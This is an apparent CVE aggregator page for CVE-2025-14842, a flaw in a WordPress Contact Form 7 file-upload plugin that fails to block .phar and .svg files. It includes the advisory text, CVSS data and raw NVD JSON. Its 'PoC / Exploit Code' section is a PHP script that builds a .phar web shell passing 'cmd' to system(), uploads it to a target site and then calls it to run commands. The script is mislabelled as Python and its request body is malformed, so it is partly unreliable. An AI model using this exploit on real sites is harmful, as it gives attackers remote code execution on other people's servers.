Security Vulnerability Report
中文
CVE-2025-14842 CVSS 6.1 MEDIUM

CVE-2025-14842

Published: 2026-01-07 12:16:57
Last Modified: 2026-04-15 00:35:42

Description

The Drag and Drop Multiple File Upload – Contact Form 7 plugin for WordPress is vulnerable to limited upload of files with a dangerous type in all versions up to, and including, 1.3.9.2. This is due to the plugin not blocking .phar and .svg files. This makes it possible for unauthenticated attackers to upload arbitrary .phar or .svg files containing malicious PHP or JavaScript code. Malicious PHP code can be used to achieve remote code execution on the server via direct file access, if the server is configured to execute .phar files as PHP. The upload of .svg files allows for Stored Cross-Site Scripting under certain circumstances.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Drag and Drop Multiple File Upload – Contact Form 7 <= 1.3.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-14842 PoC - Malicious .phar file upload * Target: Drag and Drop Multiple File Upload - Contact Form 7 plugin < 1.3.9.3 * Effect: Remote Code Execution via .phar file upload */ // Create malicious .phar file with PHP payload $phar = new Phar('malicious.phar'); $phar->startBuffering(); // Add a PHP file with web shell or command execution code $phar->addFromString('shell.php', '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'); // Set stub to execute when .phar is accessed $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->stopBuffering(); // Upload via WordPress plugin endpoint $upload_url = 'http://target-site.com/wp-json/dnd-cf7/v1/upload'; $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16)); $files = array( 'files' => array( 'name' => 'malicious.phar', 'type' => 'application/octet-stream', 'content' => file_get_contents('malicious.phar') ) ); // Construct multipart form data $body = ''; foreach($files as $key => $values) { $body .= "--$boundary\r "; $body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$values['name']}\"\r "; $body .= "Content-Type: {$values['type']}\r \r "; $body .= $values['content'] . "\r "; } $body .= "--$boundary--\r\n"; // Send upload request $ch = curl_init($upload_url); curl_setopt_array($ch, array( CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body, CURLOPT_HTTPHEADER => array( 'Content-Type: multipart/form-data; boundary=' . $boundary ), CURLOPT_RETURNTRANSFER => true )); $response = curl_exec($ch); curl_close($ch); echo "Upload Response: $response\n"; echo "Access uploaded file at: http://target-site.com/wp-content/uploads/dnd-cf7/malicious.phar?cmd=whoami\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14842", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:56.873", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Drag and Drop Multiple File Upload – Contact Form 7 plugin for WordPress is vulnerable to limited upload of files with a dangerous type in all versions up to, and including, 1.3.9.2. This is due to the plugin not blocking .phar and .svg files. This makes it possible for unauthenticated attackers to upload arbitrary .phar or .svg files containing malicious PHP or JavaScript code. Malicious PHP code can be used to achieve remote code execution on the server via direct file access, if the server is configured to execute .phar files as PHP. The upload of .svg files allows for Stored Cross-Site Scripting under certain circumstances."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-7/trunk/includes/formatting.php#L310", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/trunk/inc/dnd-upload-cf7.php#L108", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/trunk/inc/dnd-upload-cf7.php#L1116", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3428236%40drag-and-drop-multiple-file-upload-contact-form-7%2Ftrunk&old=3415946%40drag-and-drop-multiple-file-upload-contact-form-7%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c78a0325-5bbf-4550-8477-94247f085e40?source=cve", "source": "[email protected]"}]}}